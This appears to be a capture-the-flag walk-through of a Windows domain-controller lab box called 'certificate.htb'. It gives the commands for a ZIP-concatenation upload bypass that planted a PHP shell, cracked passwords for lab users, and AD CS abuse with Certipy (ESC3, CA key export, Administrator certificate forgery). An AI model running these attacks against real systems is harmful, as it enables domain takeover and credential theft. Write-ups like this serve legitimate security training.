Walk-through
PORT STATE SERVICE VERSION53/tcp open domain Simple DNS Plus80/tcp open http Apache httpd 2.4.58 (OpenSSL/3.1.3 PHP/8.0.30)|_http-title: Did not follow redirect to http://certificate.htb/|_http-server-header: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.3088/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-10-01 04:29:48Z)135/tcp open msrpc Microsoft Windows RPC139/tcp open netbios-ssn Microsoft Windows netbios-ssn389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: certificate.htb0., Site: Default-First-Site-Name)| ssl-cert: Subject: commonName=DC01.certificate.htb| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.certificate.htb| Not valid before: 2025-09-30T19:51:26|_Not valid after: 2026-09-30T19:51:26|_ssl-date: 2025-10-01T04:31:13+00:00; +8h00m07s from scanner time.445/tcp open microsoft-ds?464/tcp open kpasswd5?593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: certificate.htb0., Site: Default-First-Site-Name)| ssl-cert: Subject: commonName=DC01.certificate.htb| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.certificate.htb| Not valid before: 2025-09-30T19:51:26|_Not valid after: 2026-09-30T19:51:26|_ssl-date: 2025-10-01T04:31:14+00:00; +8h00m07s from scanner time.3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: certificate.htb0., Site: Default-First-Site-Name)|_ssl-date: 2025-10-01T04:31:13+00:00; +8h00m07s from scanner time.| ssl-cert: Subject: commonName=DC01.certificate.htb| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.certificate.htb| Not valid before: 2025-09-30T19:51:26|_Not valid after: 2026-09-30T19:51:263269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: certificate.htb0., Site: Default-First-Site-Name)|_ssl-date: 2025-10-01T04:31:14+00:00; +8h00m07s from scanner time.| ssl-cert: Subject: commonName=DC01.certificate.htb| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.certificate.htb| Not valid before: 2025-09-30T19:51:26|_Not valid after: 2026-09-30T19:51:265985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)|_http-title: Not Found|_http-server-header: Microsoft-HTTPAPI/2.0Service Info: Hosts: certificate.htb, DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:| smb2-security-mode:| 3:1:1:|_ Message signing enabled and required| smb2-time:| date: 2025-10-01T04:30:36|_ start_date: N/A|_clock-skew: mean: 8h00m06s, deviation: 0s, median: 8h00m06sI am going to generate the hosts file first:
netexec smb 10.10.11.71 --generate-hosts-file hostsAdd this entry to your /etc/hosts:
10.10.11.71 DC01.certificate.htb certificate.htb DC01
Next, let’s take a look at port 80.

It looks like the website is a course management platform built with PHP. You can create a student or teacher account, although teacher accounts require manual approval.

I registered as a student and browsed one of the available courses. Inside the course, there is a button to submit a quiz.

There is an upload functionality that accepts only PDF, DOCX, PPTX, or XLSX files, but they must be provided inside a ZIP archive. This suggests we might be able to upload a malicious PHP file if we can bypass the file validation.

Our first attempt results in a Bad Request error, meaning we need to find a way to bypass the upload restrictions.

Uploading a normal PDF inside a ZIP works without issues.

After searching online, I found information explaining evasive ZIP concatenation, which allows appending additional data to ZIP files. The original blog post was removed, but this PDF describes the technique in detail: https://infocon.org/mirrors/vx%20underground%20-%202025%20June/Papers/Malware%20Defense/Malware%20Analysis/2024/2024-11-07%20-%20Evasive%20ZIP%20Concatenation-%20Trojan%20Targets%20Windows%20Users.pdf
I applied the same technique to embed both a valid PDF and a malicious PHP file.

It worked.

Next, I attempted to use a reverse shell.

To observe how the request behaves, I captured it using Burp Suite.

After setting up a listener:

I explored the server and found database credentials.

Using these credentials, I inspected the users table.


I cracked the bcrypt hash with John:
john --format=bcryptFOUND: User 'sara.b' has password 'Blink182'I then checked what access sara.b had using NetExec.

To collect more information, I gathered BloodHound data:
rusthound-ce --domain certificate.htb -u sara.b -p $PASSNothing interesting appeared, so I continued exploring Sara’s files. I found a PCAP file with a note mentioning issues accessing SMB shares.

Using NetworkMiner (Netresec), I inspected the capture. Helpful references:
https://www.netresec.com/?page=Blog&month=2019-11&post=Extracting-Kerberos-Credentials-from-PCAP
https://www.netresec.com/?page=Blog&month=2025-04&post=How-to-Install-NetworkMiner-in-Linux
https://www.netresec.com/?page=Blog&month=2012-12&post=HowTo-handle-PcapNG-files
I extracted the Kerberos hash for lion.sk.

I cracked it:

Password: !QAZ2wsx
With this, I obtained the user flag.

BloodHound showed that lion.sk belongs to the CRA Managers group. I ran Certipy:
certipy-ad find -vulnerable -u lion.sk@certificate.htb -p $PASS2 -stdoutThis identified a template vulnerable to ESC3.

Since the CRA Managers group has the required privileges, I searched for a suitable target template:
certipy-ad find -u lion.sk@certificate.htb -p $PASS2 -stdoutThe results showed that SignedUser was a valid target.

Attempting to request on behalf of Administrator failed due to missing email attributes, so I listed users with email addresses:
ldapsearch -x -H ldap://10.10.11.71 -D "lion.sk@certificate.htb" -w $PASS2 -b "DC=certificate,DC=htb" "(mail=*)" sAMAccountName mailI reviewed user profiles on the machine:
Directory: C:\Users
Administratorakeder.khLion.SKPublicRyan.KSara.BxamppuserSince akeder.kh was not listed earlier and sara.b was already compromised, I targeted ryan.k.
Requesting a certificate:
certipy-ad req -u lion.sk@certificate.htb -p $PASS2 -dc-ip 10.10.11.71 -ca Certificate-LTD-CA -target 'DC01.certificate.htb' -template 'Delegated-CRA'Then:
certipy-ad req -u lion.sk@certificate.htb -p $PASS2 -dc-ip 10.10.11.71 -ca Certificate-LTD-CA -target 'DC01.certificate.htb' -template 'SignedUser' -on-behalf-of ryan.k -pfx lion.sk.pfxAuthenticating:
certipy-ad auth -pfx ryan.k.pfx -dc-ip 10.10.11.71 -domain certificate.htbNow I had his NT hash.
Inspecting privileges:
whoami /privryan.k had SeManageVolumePrivilege, which is exploitable. Exploit reference:
https://github.com/CsEnox/SeManageVolumeExploit
Running it:
./SeManageVolumeExploit.exeI confirmed modified ACLs:
icacls C:\WindowsTrying to inject a DLL would trip Windows Defender, so instead I extracted the private key of the CA to forge an Administrator certificate.
certutil -exportPFX my "Certificate-LTD-CA" C:\temp\ca.pfxUsing Certipy to forge:
certipy-ad forge -ca-pfx ca.pfx -upn 'administrator@certificate.htb' -out forged_admin.pfxAuthenticate as Administrator:
certipy-ad auth -dc-ip '10.10.11.71' -pfx 'forged_admin.pfx' -username 'administrator' -domain 'certificate.htb'And with that, we fully compromised the machine.